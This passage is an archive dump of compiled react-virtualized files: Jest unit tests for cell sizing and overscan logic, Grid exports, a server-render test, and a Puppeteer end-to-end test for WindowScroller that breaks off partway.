      var _getCellSizeAndPositi = getCellSizeAndPositionManager(),
          cellSizeAndPositionManager = _getCellSizeAndPositi.cellSizeAndPositionManager;

      expect(cellSizeAndPositionManager.getCellCount()).toEqual(100);
      expect(cellSizeAndPositionManager.getEstimatedCellSize()).toEqual(15);
      cellSizeAndPositionManager.configure({
        cellCount: 20,
        estimatedCellSize: 30
      });
      expect(cellSizeAndPositionManager.getCellCount()).toEqual(20);
      expect(cellSizeAndPositionManager.getEstimatedCellSize()).toEqual(30);
    });
  });
  describe('findNearestCell', function () {
    it('should error if given NaN', function () {
      var _getCellSizeAndPositi2 = getCellSizeAndPositionManager(),
          cellSizeAndPositionManager = _getCellSizeAndPositi2.cellSizeAndPositionManager;

      expect(function () {
        return cellSizeAndPositionManager._findNearestCell(NaN);
      }).toThrow();
    });
    it('should gracefully handle offets outisde of bounds (to account for elastic scrolling)', function () {
      var _getCellSizeAndPositi3 = getCellSizeAndPositionManager(),
          cellSizeAndPositionManager = _getCellSizeAndPositi3.cellSizeAndPositionManager;

      expect(cellSizeAndPositionManager._findNearestCell(-100)).toEqual(0);
      expect(cellSizeAndPositionManager._findNearestCell(1234567890)).toEqual(99);
    });
    it('should find the first cell', function () {
      var _getCellSizeAndPositi4 = getCellSizeAndPositionManager(),
          cellSizeAndPositionManager = _getCellSizeAndPositi4.cellSizeAndPositionManager;

      expect(cellSizeAndPositionManager._findNearestCell(0)).toEqual(0);
      expect(cellSizeAndPositionManager._findNearestCell(9)).toEqual(0);
    });
    it('should find the last cell', function () {
      var _getCellSizeAndPositi5 = getCellSizeAndPositionManager(),
          cellSizeAndPositionManager = _getCellSizeAndPositi5.cellSizeAndPositionManager;

      expect(cellSizeAndPositionManager._findNearestCell(990)).toEqual(99);
      expect(cellSizeAndPositionManager._findNearestCell(991)).toEqual(99);
    });
    it('should find the a cell that exactly matches a specified offset in the middle', function () {
      var _getCellSizeAndPositi6 = getCellSizeAndPositionManager(),
          cellSizeAndPositionManager = _getCellSizeAndPositi6.cellSizeAndPositionManager;

      expect(cellSizeAndPositionManager._findNearestCell(100)).toEqual(10);
    });
    it('should find the cell closest to (but before) the specified offset in the middle', function () {
      var _getCellSizeAndPositi7 = getCellSizeAndPositionManager(),
          cellSizeAndPositionManager = _getCellSizeAndPositi7.cellSizeAndPositionManager;

      expect(cellSizeAndPositionManager._findNearestCell(101)).toEqual(10);
    });
  });
  describe('getSizeAndPositionOfCell', function () {
    it('should error if an invalid index is specified', function () {
      var _getCellSizeAndPositi8 = getCellSizeAndPositionManager(),
          cellSizeAndPositionManager = _getCellSizeAndPositi8.cellSizeAndPositionManager;

      expect(function () {
        return cellSizeAndPositionManager.getSizeAndPositionOfCell(-1);
      }).toThrow();
      expect(function () {
        return cellSizeAndPositionManager.getSizeAndPositionOfCell(100);
      }).toThrow();
    });
    it('should return the correct size and position information for the requested cell', function () {
      var _getCellSizeAndPositi9 = getCellSizeAndPositionManager(),
          cellSizeAndPositionManager = _getCellSizeAndPositi9.cellSizeAndPositionManager;

      expect(cellSizeAndPositionManager.getSizeAndPositionOfCell(0).offset).toEqual(0);
      expect(cellSizeAndPositionManager.getSizeAndPositionOfCell(0).size).toEqual(10);
      expect(cellSizeAndPositionManager.getSizeAndPositionOfCell(1).offset).toEqual(10);
      expect(cellSizeAndPositionManager.getSizeAndPositionOfCell(2).offset).toEqual(20);
    });
    it('should only measure the necessary cells to return the information requested', function () {
      var _getCellSizeAndPositi10 = getCellSizeAndPositionManager(),
          cellSizeAndPositionManager = _getCellSizeAndPositi10.cellSizeAndPositionManager,
          cellSizeGetterCalls = _getCellSizeAndPositi10.cellSizeGetterCalls;

      cellSizeAndPositionManager.getSizeAndPositionOfCell(0);
      expect(cellSizeGetterCalls).toEqual([0]);
    });
    it('should just-in-time measure all cells up to the requested cell if no cells have yet been measured', function () {
      var _getCellSizeAndPositi11 = getCellSizeAndPositionManager(),
          cellSizeAndPositionManager = _getCellSizeAndPositi11.cellSizeAndPositionManager,
          cellSizeGetterCalls = _getCellSizeAndPositi11.cellSizeGetterCalls;

      cellSizeAndPositionManager.getSizeAndPositionOfCell(5);
      expect(cellSizeGetterCalls).toEqual([0, 1, 2, 3, 4, 5]);
    });
    it('should just-in-time measure cells up to the requested cell if some but not all cells have been measured', function () {
      var _getCellSizeAndPositi12 = getCellSizeAndPositionManager(),
          cellSizeAndPositionManager = _getCellSizeAndPositi12.cellSizeAndPositionManager,
          cellSizeGetterCalls = _getCellSizeAndPositi12.cellSizeGetterCalls;

      cellSizeAndPositionManager.getSizeAndPositionOfCell(5);
      cellSizeGetterCalls.splice(0);
      cellSizeAndPositionManager.getSizeAndPositionOfCell(10);
      expect(cellSizeGetterCalls).toEqual([6, 7, 8, 9, 10]);
    });
    it('should return cached size and position data if cell has already been measured', function () {
      var _getCellSizeAndPositi13 = getCellSizeAndPositionManager(),
          cellSizeAndPositionManager = _getCellSizeAndPositi13.cellSizeAndPositionManager,
          cellSizeGetterCalls = _getCellSizeAndPositi13.cellSizeGetterCalls;

      cellSizeAndPositionManager.getSizeAndPositionOfCell(5);
      cellSizeGetterCalls.splice(0);
      cellSizeAndPositionManager.getSizeAndPositionOfCell(5);
      expect(cellSizeGetterCalls).toEqual([]);
    });
  });
  describe('getSizeAndPositionOfLastMeasuredCell', function () {
    it('should return an empty object if no cached cells are present', function () {
      var _getCellSizeAndPositi14 = getCellSizeAndPositionManager(),
          cellSizeAndPositionManager = _getCellSizeAndPositi14.cellSizeAndPositionManager;

      expect(cellSizeAndPositionManager.getSizeAndPositionOfLastMeasuredCell()).toEqual({
        offset: 0,
        size: 0
      });
    });
    it('should return size and position data for the highest/last measured cell', function () {
      var _getCellSizeAndPositi15 = getCellSizeAndPositionManager(),
          cellSizeAndPositionManager = _getCellSizeAndPositi15.cellSizeAndPositionManager;

      cellSizeAndPositionManager.getSizeAndPositionOfCell(5);
      expect(cellSizeAndPositionManager.getSizeAndPositionOfLastMeasuredCell()).toEqual({
        offset: 50,
        size: 10
      });
    });
  });
  describe('getTotalSize', function () {
    it('should calculate total size based purely on :estimatedCellSize if no measurements have been done', function () {
      var _getCellSizeAndPositi16 = getCellSizeAndPositionManager(),
          cellSizeAndPositionManager = _getCellSizeAndPositi16.cellSizeAndPositionManager;

      expect(cellSizeAndPositionManager.getTotalSize()).toEqual(1500);
    });
    it('should calculate total size based on a mixture of actual cell sizes and :estimatedCellSize if some cells have been measured', function () {
      var _getCellSizeAndPositi17 = getCellSizeAndPositionManager(),
          cellSizeAndPositionManager = _getCellSizeAndPositi17.cellSizeAndPositionManager;

      cellSizeAndPositionManager.getSizeAndPositionOfCell(49);
      expect(cellSizeAndPositionManager.getTotalSize()).toEqual(1250);
    });
    it('should calculate total size based on the actual measured sizes if all cells have been measured', function () {
      var _getCellSizeAndPositi18 = getCellSizeAndPositionManager(),
          cellSizeAndPositionManager = _getCellSizeAndPositi18.cellSizeAndPositionManager;

      cellSizeAndPositionManager.getSizeAndPositionOfCell(99);
      expect(cellSizeAndPositionManager.getTotalSize()).toEqual(1000);
    });
  });
  describe('getUpdatedOffsetForIndex', function () {
    function getUpdatedOffsetForIndexHelper(_ref3) {
      var _ref3$align = _ref3.align,
          align = _ref3$align === void 0 ? 'auto' : _ref3$align,
          _ref3$cellCount = _ref3.cellCount,
          cellCount = _ref3$cellCount === void 0 ? 10 : _ref3$cellCount,
          _ref3$cellSize = _ref3.cellSize,
          cellSize = _ref3$cellSize === void 0 ? 10 : _ref3$cellSize,
          _ref3$containerSize = _ref3.containerSize,
          containerSize = _ref3$containerSize === void 0 ? 50 : _ref3$containerSize,
          _ref3$currentOffset = _ref3.currentOffset,
          currentOffset = _ref3$currentOffset === void 0 ? 0 : _ref3$currentOffset,
          _ref3$estimatedCellSi = _ref3.estimatedCellSize,
          estimatedCellSize = _ref3$estimatedCellSi === void 0 ? 15 : _ref3$estimatedCellSi,
          _ref3$targetIndex = _ref3.targetIndex,
          targetIndex = _ref3$targetIndex === void 0 ? 0 : _ref3$targetIndex;
      var cellSizeAndPositionManager = new _CellSizeAndPositionManager["default"]({
        cellCount: cellCount,
        cellSizeGetter: function cellSizeGetter() {
          return cellSize;
        },
        estimatedCellSize: estimatedCellSize
      });
      return cellSizeAndPositionManager.getUpdatedOffsetForIndex({
        align: align,
        containerSize: containerSize,
        currentOffset: currentOffset,
        targetIndex: targetIndex
      });
    }

    it('should scroll to the beginning', function () {
      expect(getUpdatedOffsetForIndexHelper({
        currentOffset: 100,
        targetIndex: 0
      })).toEqual(0);
    });
    it('should scroll to the end', function () {
      expect(getUpdatedOffsetForIndexHelper({
        currentOffset: 0,
        targetIndex: 9
      })).toEqual(50);
    });
    it('should scroll forward to the middle', function () {
      expect(getUpdatedOffsetForIndexHelper({
        currentOffset: 0,
        targetIndex: 6
      })).toEqual(20);
    });
    it('should scroll backward to the middle', function () {
      expect(getUpdatedOffsetForIndexHelper({
        currentOffset: 50,
        targetIndex: 2
      })).toEqual(20);
    });
    it('should not scroll if an item is already visible', function () {
      expect(getUpdatedOffsetForIndexHelper({
        currentOffset: 20,
        targetIndex: 3
      })).toEqual(20);
    });
    it('should honor specified :align values', function () {
      expect(getUpdatedOffsetForIndexHelper({
        align: 'auto',
        currentOffset: 0,
        targetIndex: 5
      })).toEqual(10);
      expect(getUpdatedOffsetForIndexHelper({
        align: 'start',
        currentOffset: 0,
        targetIndex: 5
      })).toEqual(50);
      expect(getUpdatedOffsetForIndexHelper({
        align: 'auto',
        currentOffset: 50,
        targetIndex: 4
      })).toEqual(40);
      expect(getUpdatedOffsetForIndexHelper({
        align: 'end',
        currentOffset: 50,
        targetIndex: 5
      })).toEqual(10);
      expect(getUpdatedOffsetForIndexHelper({
        align: 'center',
        currentOffset: 50,
        targetIndex: 5
      })).toEqual(30);
    });
    it('should not scroll past the safe bounds even if the specified :align requests it', function () {
      expect(getUpdatedOffsetForIndexHelper({
        align: 'end',
        currentOffset: 50,
        targetIndex: 0
      })).toEqual(0);
      expect(getUpdatedOffsetForIndexHelper({
        align: 'center',
        currentOffset: 50,
        targetIndex: 1
      })).toEqual(0);
      expect(getUpdatedOffsetForIndexHelper({
        align: 'start',
        currentOffset: 0,
        targetIndex: 9
      })).toEqual(50); // TRICKY: We would expect this to be positioned at 50.
      // But since the :estimatedCellSize is 15 and we only measure up to the 8th item,
      // The helper assumes it can scroll farther than it actually can.
      // Not sure if this edge case is worth "fixing" or just acknowledging...

      expect(getUpdatedOffsetForIndexHelper({
        align: 'center',
        currentOffset: 0,
        targetIndex: 8
      })).toEqual(55);
    });
    it('should always return an offset of 0 when :containerSize is 0', function () {
      expect(getUpdatedOffsetForIndexHelper({
        containerSize: 0,
        currentOffset: 50,
        targetIndex: 2
      })).toEqual(0);
    });
  });
  describe('getVisibleCellRange', function () {
    it('should not return any indices if :cellCount is 0', function () {
      var _getCellSizeAndPositi19 = getCellSizeAndPositionManager({
        cellCount: 0
      }),
          cellSizeAndPositionManager = _getCellSizeAndPositi19.cellSizeAndPositionManager;

      var _cellSizeAndPositionM = cellSizeAndPositionManager.getVisibleCellRange({
        containerSize: 50,
        offset: 0
      }),
          start = _cellSizeAndPositionM.start,
          stop = _cellSizeAndPositionM.stop;

      expect(start).toEqual(undefined);
      expect(stop).toEqual(undefined);
    });
    it('should return a visible range of cells for the beginning of the list', function () {
      var _getCellSizeAndPositi20 = getCellSizeAndPositionManager(),
          cellSizeAndPositionManager = _getCellSizeAndPositi20.cellSizeAndPositionManager;

      var _cellSizeAndPositionM2 = cellSizeAndPositionManager.getVisibleCellRange({
        containerSize: 50,
        offset: 0
      }),
          start = _cellSizeAndPositionM2.start,
          stop = _cellSizeAndPositionM2.stop;

      expect(start).toEqual(0);
      expect(stop).toEqual(4);
    });
    it('should return a visible range of cells for the middle of the list where some are partially visible', function () {
      var _getCellSizeAndPositi21 = getCellSizeAndPositionManager(),
          cellSizeAndPositionManager = _getCellSizeAndPositi21.cellSizeAndPositionManager;

      var _cellSizeAndPositionM3 = cellSizeAndPositionManager.getVisibleCellRange({
        containerSize: 50,
        offset: 425
      }),
          start = _cellSizeAndPositionM3.start,
          stop = _cellSizeAndPositionM3.stop; // 42 and 47 are partially visible


      expect(start).toEqual(42);
      expect(stop).toEqual(47);
    });
    it('should return a visible range of cells for the end of the list', function () {
      var _getCellSizeAndPositi22 = getCellSizeAndPositionManager(),
          cellSizeAndPositionManager = _getCellSizeAndPositi22.cellSizeAndPositionManager;

      var _cellSizeAndPositionM4 = cellSizeAndPositionManager.getVisibleCellRange({
        containerSize: 50,
        offset: 950
      }),
          start = _cellSizeAndPositionM4.start,
          stop = _cellSizeAndPositionM4.stop;

      expect(start).toEqual(95);
      expect(stop).toEqual(99);
    });
  });
  describe('resetCell', function () {
    it('should clear size and position metadata for the specified index and all cells after it', function () {
      var _getCellSizeAndPositi23 = getCellSizeAndPositionManager(),
          cellSizeAndPositionManager = _getCellSizeAndPositi23.cellSizeAndPositionManager;

      cellSizeAndPositionManager.getSizeAndPositionOfCell(5);
      cellSizeAndPositionManager.resetCell(3);
      expect(cellSizeAndPositionManager.getLastMeasuredIndex()).toEqual(2);
      cellSizeAndPositionManager.resetCell(0);
      expect(cellSizeAndPositionManager.getLastMeasuredIndex()).toEqual(-1);
    });
    it('should not clear size and position metadata for cells before the specified index', function () {
      var _getCellSizeAndPositi24 = getCellSizeAndPositionManager(),
          cellSizeAndPositionManager = _getCellSizeAndPositi24.cellSizeAndPositionManager,
          cellSizeGetterCalls = _getCellSizeAndPositi24.cellSizeGetterCalls;

      cellSizeAndPositionManager.getSizeAndPositionOfCell(5);
      cellSizeGetterCalls.splice(0);
      cellSizeAndPositionManager.resetCell(3);
      cellSizeAndPositionManager.getSizeAndPositionOfCell(4);
      expect(cellSizeGetterCalls).toEqual([3, 4]);
    });
    it('should not skip over any unmeasured or previously-cleared cells', function () {
      var _getCellSizeAndPositi25 = getCellSizeAndPositionManager(),
          cellSizeAndPositionManager = _getCellSizeAndPositi25.cellSizeAndPositionManager;

      cellSizeAndPositionManager.getSizeAndPositionOfCell(5);
      cellSizeAndPositionManager.resetCell(2);
      expect(cellSizeAndPositionManager.getLastMeasuredIndex()).toEqual(1);
      cellSizeAndPositionManager.resetCell(4);
      expect(cellSizeAndPositionManager.getLastMeasuredIndex()).toEqual(1);
      cellSizeAndPositionManager.resetCell(0);
      expect(cellSizeAndPositionManager.getLastMeasuredIndex()).toEqual(-1);
    });
  });
});commonjs/Grid/index.js000064400000005161151677406000010734 0ustar00"use strict";

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

Object.defineProperty(exports, "__esModule", {
  value: true
});
Object.defineProperty(exports, "default", {
  enumerable: true,
  get: function get() {
    return _Grid["default"];
  }
});
Object.defineProperty(exports, "Grid", {
  enumerable: true,
  get: function get() {
    return _Grid["default"];
  }
});
Object.defineProperty(exports, "accessibilityOverscanIndicesGetter", {
  enumerable: true,
  get: function get() {
    return _accessibilityOverscanIndicesGetter["default"];
  }
});
Object.defineProperty(exports, "defaultCellRangeRenderer", {
  enumerable: true,
  get: function get() {
    return _defaultCellRangeRenderer["default"];
  }
});
Object.defineProperty(exports, "defaultOverscanIndicesGetter", {
  enumerable: true,
  get: function get() {
    return _defaultOverscanIndicesGetter["default"];
  }
});
Object.defineProperty(exports, "bpfrpt_proptype_NoContentRenderer", {
  enumerable: true,
  get: function get() {
    return _types.bpfrpt_proptype_NoContentRenderer;
  }
});
Object.defineProperty(exports, "bpfrpt_proptype_Alignment", {
  enumerable: true,
  get: function get() {
    return _types.bpfrpt_proptype_Alignment;
  }
});
Object.defineProperty(exports, "bpfrpt_proptype_CellPosition", {
  enumerable: true,
  get: function get() {
    return _types.bpfrpt_proptype_CellPosition;
  }
});
Object.defineProperty(exports, "bpfrpt_proptype_CellSize", {
  enumerable: true,
  get: function get() {
    return _types.bpfrpt_proptype_CellSize;
  }
});
Object.defineProperty(exports, "bpfrpt_proptype_OverscanIndicesGetter", {
  enumerable: true,
  get: function get() {
    return _types.bpfrpt_proptype_OverscanIndicesGetter;
  }
});
Object.defineProperty(exports, "bpfrpt_proptype_RenderedSection", {
  enumerable: true,
  get: function get() {
    return _types.bpfrpt_proptype_RenderedSection;
  }
});
Object.defineProperty(exports, "bpfrpt_proptype_CellRendererParams", {
  enumerable: true,
  get: function get() {
    return _types.bpfrpt_proptype_CellRendererParams;
  }
});
Object.defineProperty(exports, "bpfrpt_proptype_Scroll", {
  enumerable: true,
  get: function get() {
    return _types.bpfrpt_proptype_Scroll;
  }
});

var _Grid = _interopRequireDefault(require("./Grid"));

var _accessibilityOverscanIndicesGetter = _interopRequireDefault(require("./accessibilityOverscanIndicesGetter"));

var _defaultCellRangeRenderer = _interopRequireDefault(require("./defaultCellRangeRenderer"));

var _defaultOverscanIndicesGetter = _interopRequireDefault(require("./defaultOverscanIndicesGetter"));

var _types = require("./types");commonjs/Grid/Grid.ssr.js000064400000003503151677406000011316 0ustar00"use strict";

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

var _interopRequireWildcard = require("@babel/runtime/helpers/interopRequireWildcard");

var React = _interopRequireWildcard(require("react"));

var ReactDOMServer = _interopRequireWildcard(require("react-dom/server"));

var _Grid = _interopRequireDefault(require("./Grid"));

/**
 * 
 * @jest-environment node
 */
test('should render Grid with dom server', function () {
  var rendered = ReactDOMServer.renderToString(React.createElement(_Grid["default"], {
    cellRenderer: function cellRenderer(_ref) {
      var style = _ref.style,
          key = _ref.key,
          rowIndex = _ref.rowIndex,
          columnIndex = _ref.columnIndex;
      return React.createElement("div", {
        style: style,
        key: key
      }, rowIndex + ':' + columnIndex);
    },
    columnCount: 1000,
    columnWidth: 20,
    height: 500,
    rowCount: 1000,
    rowHeight: 20,
    width: 500
  }));
  expect(rendered).toContain('0:0');
  expect(rendered).toContain('24:24');
  expect(rendered).not.toContain('25:25');
});
test('should support :scrollToColumn and :scrollToRow in server render', function () {
  var rendered = ReactDOMServer.renderToString(React.createElement(_Grid["default"], {
    cellRenderer: function cellRenderer(_ref2) {
      var style = _ref2.style,
          key = _ref2.key,
          rowIndex = _ref2.rowIndex,
          columnIndex = _ref2.columnIndex;
      return React.createElement("div", {
        style: style,
        key: key
      }, rowIndex + ':' + columnIndex);
    },
    columnCount: 1000,
    columnWidth: 20,
    scrollToColumn: 250,
    height: 500,
    rowCount: 1000,
    rowHeight: 20,
    scrollToRow: 250,
    width: 500
  }));
  expect(rendered).toContain('250:250');
  expect(rendered).not.toContain('0:0');
});commonjs/Grid/accessibilityOverscanIndicesGetter.jest.js000064400000005441151677406000017574 0ustar00"use strict";

var _interopRequireWildcard = require("@babel/runtime/helpers/interopRequireWildcard");

var _accessibilityOverscanIndicesGetter = _interopRequireWildcard(require("./accessibilityOverscanIndicesGetter"));

describe('overscanIndicesGetter', function () {
  function testHelper(_ref) {
    var cellCount = _ref.cellCount,
        startIndex = _ref.startIndex,
        stopIndex = _ref.stopIndex,
        overscanCellsCount = _ref.overscanCellsCount,
        scrollDirection = _ref.scrollDirection;
    return (0, _accessibilityOverscanIndicesGetter["default"])({
      cellCount: cellCount,
      overscanCellsCount: overscanCellsCount,
      scrollDirection: scrollDirection,
      startIndex: startIndex,
      stopIndex: stopIndex
    });
  }

  it('should still overscan by 1 (for keyboard accessibility) if :overscanCellsCount is 0', function () {
    expect(testHelper({
      cellCount: 100,
      startIndex: 10,
      stopIndex: 20,
      overscanCellsCount: 0,
      scrollDirection: _accessibilityOverscanIndicesGetter.SCROLL_DIRECTION_BACKWARD
    })).toEqual({
      overscanStartIndex: 9,
      overscanStopIndex: 21
    });
    expect(testHelper({
      cellCount: 100,
      startIndex: 10,
      stopIndex: 20,
      overscanCellsCount: 0,
      scrollDirection: _accessibilityOverscanIndicesGetter.SCROLL_DIRECTION_FORWARD
    })).toEqual({
      overscanStartIndex: 9,
      overscanStopIndex: 21
    });
  });
  it('should overscan forward', function () {
    expect(testHelper({
      cellCount: 100,
      startIndex: 20,
      stopIndex: 30,
      overscanCellsCount: 10,
      scrollDirection: _accessibilityOverscanIndicesGetter.SCROLL_DIRECTION_FORWARD
    })).toEqual({
      overscanStartIndex: 19,
      overscanStopIndex: 40
    });
  });
  it('should overscan backward', function () {
    expect(testHelper({
      cellCount: 100,
      startIndex: 20,
      stopIndex: 30,
      overscanCellsCount: 10,
      scrollDirection: _accessibilityOverscanIndicesGetter.SCROLL_DIRECTION_BACKWARD
    })).toEqual({
      overscanStartIndex: 10,
      overscanStopIndex: 31
    });
  });
  it('should not overscan beyond the start of the list', function () {
    expect(testHelper({
      cellCount: 100,
      startIndex: 5,
      stopIndex: 15,
      overscanCellsCount: 10,
      scrollDirection: _accessibilityOverscanIndicesGetter.SCROLL_DIRECTION_BACKWARD
    })).toEqual({
      overscanStartIndex: 0,
      overscanStopIndex: 16
    });
  });
  it('should not overscan beyond the end of the list', function () {
    expect(testHelper({
      cellCount: 25,
      startIndex: 10,
      stopIndex: 20,
      overscanCellsCount: 10,
      scrollDirection: _accessibilityOverscanIndicesGetter.SCROLL_DIRECTION_FORWARD
    })).toEqual({
      overscanStartIndex: 9,
      overscanStopIndex: 24
    });
  });
});commonjs/Grid/defaultOverscanIndicesGetter.js000064400000002771151677406000015430 0ustar00"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports["default"] = defaultOverscanIndicesGetter;
exports.SCROLL_DIRECTION_VERTICAL = exports.SCROLL_DIRECTION_HORIZONTAL = exports.SCROLL_DIRECTION_FORWARD = exports.SCROLL_DIRECTION_BACKWARD = void 0;

var _types = require("./types");

var SCROLL_DIRECTION_BACKWARD = -1;
exports.SCROLL_DIRECTION_BACKWARD = SCROLL_DIRECTION_BACKWARD;
var SCROLL_DIRECTION_FORWARD = 1;
exports.SCROLL_DIRECTION_FORWARD = SCROLL_DIRECTION_FORWARD;
var SCROLL_DIRECTION_HORIZONTAL = 'horizontal';
exports.SCROLL_DIRECTION_HORIZONTAL = SCROLL_DIRECTION_HORIZONTAL;
var SCROLL_DIRECTION_VERTICAL = 'vertical';
/**
 * Calculates the number of cells to overscan before and after a specified range.
 * This function ensures that overscanning doesn't exceed the available cells.
 */

exports.SCROLL_DIRECTION_VERTICAL = SCROLL_DIRECTION_VERTICAL;

function defaultOverscanIndicesGetter(_ref) {
  var cellCount = _ref.cellCount,
      overscanCellsCount = _ref.overscanCellsCount,
      scrollDirection = _ref.scrollDirection,
      startIndex = _ref.startIndex,
      stopIndex = _ref.stopIndex;

  if (scrollDirection === SCROLL_DIRECTION_FORWARD) {
    return {
      overscanStartIndex: Math.max(0, startIndex),
      overscanStopIndex: Math.min(cellCount - 1, stopIndex + overscanCellsCount)
    };
  } else {
    return {
      overscanStartIndex: Math.max(0, startIndex - overscanCellsCount),
      overscanStopIndex: Math.min(cellCount - 1, stopIndex)
    };
  }
}commonjs/jest-setup.js000064400000000202151677406000011032 0ustar00"use strict";

jest.mock('dom-helpers/scrollbarSize', function () {
  return function getScrollbarSize() {
    return 20;
  };
});commonjs/WindowScroller/WindowScroller.e2e.js000064400000023462151677406000015350 0ustar00"use strict";

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

var _regenerator = _interopRequireDefault(require("@babel/runtime/regenerator"));

/**
 * @jest-environment jest-environment-puppeteer
 */
var bootstrap = function bootstrap() {
  var page, scripts, _i, _scripts, path;

  return _regenerator["default"].async(function bootstrap$(_context) {
    while (1) {
      switch (_context.prev = _context.next) {
        case 0:
          _context.next = 2;
          return _regenerator["default"].awrap(global.browser.newPage());

        case 2:
          page = _context.sent;
          scripts = ['./node_modules/react/umd/react.development.js', './node_modules/react-dom/umd/react-dom.development.js', './dist/umd/react-virtualized.js'];
          _i = 0, _scripts = scripts;

        case 5:
          if (!(_i < _scripts.length)) {
            _context.next = 12;
            break;
          }

          path = _scripts[_i];
          _context.next = 9;
          return _regenerator["default"].awrap(page.addScriptTag({
            path: path
          }));

        case 9:
          _i++;
          _context.next = 5;
          break;

        case 12:
          return _context.abrupt("return", page);

        case 13:
        case "end":
          return _context.stop();
      }
    }
  });
};

var renderWindowScroller = function renderWindowScroller(_ref) {
  var scrollElement = _ref.scrollElement;
  var render = window.ReactDOM.render;
  var createElement = window.React.createElement;
  var WindowScroller = window.ReactVirtualized.WindowScroller;
  var container = document.createElement('div');
  container.id = 'container';
  container.style.margin = '100px';
  container.style.padding = '50px';
  document.body.appendChild(container);
  document.body.style.margin = 0;

  if (scrollElement === 'container') {
    container.style.width = '100%';
    container.style.height = '100%';
    container.style.overflow = 'auto';
  }

  render(createElement(WindowScroller, {
    scrollElement: scrollElement === 'container' ? container : window,
    onScroll: window.scrollFn,
    onResize: window.resizeFn
  }, function () {
    return createElement('div', {
      style: {
        width: 2000,
        height: 3000
      }
    });
  }), container);
};

var delay = function delay(time) {
  return new Promise(function (resolve) {
    return setTimeout(resolve, time);
  });
};

test('save position after resize and then scroll in window', function _callee() {
  var page, scrollFn, resizeFn;
  return _regenerator["default"].async(function _callee$(_context2) {
    while (1) {
      switch (_context2.prev = _context2.next) {
        case 0:
          _context2.next = 2;
          return _regenerator["default"].awrap(bootstrap());

        case 2:
          page = _context2.sent;
          scrollFn = jest.fn();
          resizeFn = jest.fn();
          _context2.next = 7;
          return _regenerator["default"].awrap(page.exposeFunction('scrollFn', scrollFn));

        case 7:
          _context2.next = 9;
          return _regenerator["default"].awrap(page.exposeFunction('resizeFn', resizeFn));

        case 9:
          _context2.next = 11;
          return _regenerator["default"].awrap(page.setViewport({
            width: 400,
            height: 600
          }));

        case 11:
          _context2.next = 13;
          return _regenerator["default"].awrap(page.evaluate(renderWindowScroller, {
            scrollElement: 'window'
          }));

        case 13:
          _context2.next = 15;
          return _regenerator["default"].awrap(page.evaluate(function () {
            return window.scrollTo(610, 830);
          }));

        case 15:
          _context2.next = 17;
          return _regenerator["default"].awrap(delay(100));

        case 17:
          _context2.next = 19;
          return _regenerator["default"].awrap(page.setViewport({
            width: 300,
            height: 500
          }));

        case 19:
          _context2.next = 21;
          return _regenerator["default"].awrap(delay(100));

        case 21:
          _context2.next = 23;
          return _regenerator["default"].awrap(page.evaluate(function () {
            return window.scrollTo(620, 840);
          }));

        case 23:
          _context2.next = 25;
          return _regenerator["default"].awrap(delay(100));

        case 25:
          _context2.next = 27;
          return _regenerator["default"].awrap(page.close());

        case 27:
          expect(scrollFn.mock.calls).toEqual([[{
            scrollLeft: 610 - 150,
            scrollTop: 830 - 150
          }], [{
            scrollLeft: 620 - 150,
            scrollTop: 840 - 150
          }]]);
          expect(resizeFn.mock.calls).toEqual([[{
            width: 300,
            height: 500
          }]]);

        case 29:
        case "end":
          return _context2.stop();
      }
    }
  });
});
test('save position after resize and then scroll in container', function _callee2() {
  var page, scrollFn, resizeFn;
  return _regenerator["default"].async(function _callee2$(_context3) {
    while (1) {
      switch (_context3.prev = _context3.next) {
        case 0:
          _context3.next = 2;
          return _regenerator["default"].awrap(bootstrap());

        case 2:
          page = _context3.sent;
          scrollFn = jest.fn();
          resizeFn = jest.fn();
          _context3.next = 7;
          return _regenerator["default"].awrap(page.exposeFunction('scrollFn', scrollFn));

        case 7:
          _context3.next = 9;
          return _regenerator["default"].awrap(page.exposeFunction('resizeFn', resizeFn));

        case 9:
          _context3.next = 11;
          return _regenerator["default"].awrap(page.setViewport({
            width: 400,
            height: 600
          }));

        case 11:
          _context3.next = 13;
          return _regenerator["default"].awrap(page.evaluate(renderWindowScroller, {
            scrollElement: 'container'
          }));

        case 13:
          _context3.next = 15;
          return _regenerator["default"].awrap(page.$eval('#container', function (el) {
            return el.scrollTo(610, 830);
          }));

        case 15:
          _context3.next = 17;
          return _regenerator["default"].awrap(delay(100));

        case 17:
          _context3.next = 19;
          return _regenerator["default"].awrap(page.setViewport({
            width: 300,
            height: 500
          }));

        case 19:
          _context3.next = 21;
          return _regenerator["default"].awrap(delay(100));

        case 21:
          _context3.next = 23;
          return _regenerator["default"].awrap(page.$eval('#container', function (el) {
            return el.scrollTo(620, 840);
          }));

        case 23:
          _context3.next = 25;
          return _regenerator["default"].awrap(delay(100));

        case 25:
          _context3.next = 27;
          return _regenerator["default"].awrap(page.close());

        case 27:
          expect(scrollFn.mock.calls).toEqual([[{
            scrollLeft: 610 - 50,
            scrollTop: 830 - 50
          }], [{
            scrollLeft: 620 - 50,
            scrollTop: 840 - 50
          }]]);
          expect(resizeFn.mock.calls).toEqual([[{
            width: 500,
            height: 700
          }], [{
            width: 400,
            height: 600
          }]]);

        case 29:
        case "end":
          return _context3.stop();
      }
    }
  });
});
test('react on container resize without window changing', function _callee3() {
  var page, resizeFn;
  return _regenerator["default"].async(function _callee3$(_context4) {
    while (1) {
      switch (_context4.prev = _context4.next) {
        case 0:
          _context4.next = 2;
          return _regenerator["default"].awrap(bootstrap());

        case 2:
          page = _context4.sent;
          resizeFn = jest.fn();
          _context4.next = 6;
          return _regenerator["default"].awrap(page.exposeFunction('resizeFn', resizeFn));

        case 6:
          _context4.next = 8;
          return _regenerator["default"].awrap(page.evaluate(function () {
            var render = window.ReactDOM.render;
            var createElement = window.React.createElement;
            var WindowScroller = window.ReactVirtualized.WindowScroller;
            var wrapper = document.createElement('div');
            wrapper.id = 'wrapper';
            Object.assign(wrapper.style, {
              width: '1000px',
              height: '800px',
              display: 'flex'
            });
            var container = document.createElement('div');
            Object.assign(container.style, {
              flex: '1'
            });
            wrapper.appendChild(container);
            document.body.style.margin = 0;
            document.body.appendChild(wrapper);
            render(createElement(WindowScroller, {
              scrollElement: container,
              onResize: window.resizeFn
            }, function () {
              return null;
            }), container);
          }));

        case 8:
          _context4.next = 10;
          return _regenerator["default"].awrap(delay(100));

        case 10:
          _context4.next = 12;
